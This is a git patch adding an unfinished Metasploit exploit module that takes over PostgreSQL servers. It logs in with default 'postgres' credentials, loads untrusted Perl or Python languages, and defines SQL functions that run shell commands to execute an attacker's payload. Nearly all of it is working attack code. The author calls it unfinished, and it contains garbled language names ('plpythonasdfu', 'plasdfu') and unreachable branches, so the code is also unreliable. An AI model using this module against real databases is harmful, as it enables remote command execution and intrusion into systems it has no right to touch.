From fa3431c7325ae80518645c8dcb7ae41a618ee204 Mon Sep 17 00:00:00 2001 From: Micheal Date: Sat, 26 Dec 2015 17:53:52 -0500 Subject: [PATCH] Pushing now. Still working on it. --- .../multi/postgres/postgres_createlang.rb | 301 ++++++++++++++++++ 1 file changed, 301 insertions(+) create mode 100644 modules/exploits/multi/postgres/postgres_createlang.rb diff --git a/modules/exploits/multi/postgres/postgres_createlang.rb b/modules/exploits/multi/postgres/postgres_createlang.rb new file mode 100644 index 0000000000..5fd7138121 --- /dev/null +++ b/modules/exploits/multi/postgres/postgres_createlang.rb @@ -0,0 +1,301 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/postgres' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Postgres + include Msf::Auxiliary::Report + + # Creates an instance of this module.
 + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PostgreSQL CREATE LANGUAGE Execution', + 'Description' => %q{ + Some installations of Postgres are configured to allow loading external
 scripting languages. + Most commonly this is Perl and
 Python. When enabled, command execution is possible
 on the host. + To execute system commands, loading the "untrusted" version of the language is necessary. + This requires a superuser. This is usually postgres. The execution should be platform-agnostic, + and has been tested on OS X, Windows, and Linux. + + This module attempts to load Perl or Python to execute system
 commands. As this dynamically loads + a scripting language to execute commands,
 it is not necessary to drop a file on the filesystem.
 + }, + 'Author' => [ + 'Micheal Cottingham', # author of this module + 'midnitesnake', # the postgres_payload module that this is based on + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'], + ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'], + ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html'] + ], + 'Platform' => %w{python linux unix win osx}, + 'Payload' => { + 'PayloadType' => %w{python cmd} + }, + 'Arch' => [ARCH_CMD, ARCH_PYTHON], + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '' + )) + + register_options([ + OptString.new('USERNAME', [true, 'The username to the service', 'postgres']), + OptString.new('PASSWORD', [true, 'The password to the service', 'postgres']) + ], self.class) + + deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') + end + + def check + version = postgres_fingerprint + + if version[:auth] + return CheckCode::Appears + + else + print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" + return CheckCode::Safe + end + end + + def exploit + version = do_login(username, password, database) + + case version + when :noauth; print_error 'Authentication failed.'; return + when :noconn; print_error 'Connection failed.'; return + + else + print_status("#{rhost}:#{rport} - #{version}") + end + + begin + func_name = Rex::Text.rand_text_alpha(10) + + load_perl = create_perl + + # Decision tree - not clean, but it works. + # If you have suggestions for improvement, please contact me on Github - @micheal + case load_perl + when 'exists' + print_status 'Perl is already loaded, continuing' + createPerlFunc(func_name) + + when 'loaded' + print_status 'Perl was successfully loaded, continuing' + createPerlFunc(func_name) + + when 'not_exists' + print_status 'Perl is not installed on the target, attempting Python2' + + load_python2, ver = create_python2 + + case load_python2 + when 'exists' + print_status 'Python2 is already loaded, continuing' + create_python_func(func_name, '') + + when 'loaded' + print_status 'Python2 was successfully loaded, continuing' + create_python_func(func_name, '') + + when 'not_exists' + print_status 'Python2 is not installed on the target, attempting Python3' + + load_python3 = create_python3 + + case load_python3 + when 'exists' + print_status 'Python3 is already loaded, continuing' + create_python_func(func_name, '3') + + when 'loaded' + print_status 'Python3 was successfully loaded, continuing' + create_python_func(func_name, '3') + + when 'not_exists' + print_error 'No suitable exploit path found, exiting' + return + end + end + end + + + selectQuery = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')") + + case selectQuery.keys[0] + when :conn_error + print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." + + when :sql_error + print_error "#{rhost}:#{rport} Postgres - #{selectQuery[:sql_error]}" + + when :complete + vprint_good "#{rhost}:#{rport} Postgres - Command complete." + end + + rescue RuntimeError => e + print_error "Failed to create UDF: #{e.class}: #{e}" + end + + postgres_logout if @postgres_conn + end + + def create_python2 + create = postgres_query("CREATE LANGUAGE plpythonasdfu") + + if(create.keys[0] == :sql_error) + matchExists = create[:sql_error].match(/language "plpythonu" already exists/m) + + if(matchExists) + return 'exists', '' + + else + #matchError = create[:sql_error].match(/could not access file/m) + matchError = create[:sql_error].match(/unsupported language/m) + + if(matchError) + # One more attempt + create2 = postgres_query("CREATE LANGUAGE plpythonu") + + matchError2 = create2[:sql_error].match(/could not access file/m) + + if(matchError2) + return 'not_exists' + + else + return 'loaded', '2' + end + end + end + + else + return 'loaded', '' + end + end + + def create_python3 + create = postgres_query("CREATE LANGUAGE plpython3u") + + if(create.keys[0] == :sql_error) + matchExists = create[:sql_error].match(/language "plpython3u" already exists/m) + + if(matchExists) + return 'exists' + + else + matchError = create[:sql_error].match(/could not access file/m) + + if(matchError) + return 'not_exists' + end + end + + else + return 'loaded' + end + end + + def create_python_func(name, version) + create_python_function = postgres_query( + "CREATE OR REPLACE FUNCTION exec_#{name}(c text) RETURNS void as $$" + + "import subprocess, shlex" + + "return subprocess.check_output(shlex.split(c))" + + "$$ LANGUAGE plpython#{version}u") + + case create_python_function.keys[0] + when :conn_error + print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." + + when :sql_error + print_error "#{rhost}:#{rport} Postgres - #{create_python_function[:sql_error]}" + + when :complete + print_good "#{rhost}:#{rport} Postgres - Command complete." + end + end + + def create_perl + create = postgres_query("CREATE LANGUAGE plasdfu", 50) + + if(create.keys[0] == :sql_error) + matchExists = create[:sql_error].match(/language "plperlu" already exists/m) + + if(matchExists) + return 'exists' + + else + matchError = create[:sql_error].match(/could not access file/m) + return 'not_exists' + + if(matchError) + return 'not_exists' + end + end + + else + return 'loaded' + end + end + + def createPerlFunc(name) + createPerlFunction = postgres_query( + "CREATE OR REPLACE FUNCTION exec_#{name}(text) RETURNS TEXT as $$" + + "return `$_[0]`;" + + "$$ LANGUAGE plperlu") + + case createPerlFunction.keys[0] + when :conn_error + print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." + + when :sql_error + print_error "#{rhost}:#{rport} Postgres - #{createPerlFunction[:sql_error]}" + + when :complete + print_good "#{rhost}:#{rport} Postgres - Command complete." + end + end + + # Authenticate to the postgres server.
 + # Returns the version from #postgres_fingerprint + def do_login(user=nil, pass=nil, database=nil) + begin + password = pass || postgres_password + + vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") + + result = postgres_fingerprint( + :db => database, + :username => user, + :password => password + ) + + if result[:auth] + report_service( + :host => rhost, + :port => rport, + :name => "postgres", + :info => result.values.first + ) + return result[:auth] + + else + print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") + return :noauth + end + + rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError + return :noconn + end + end +end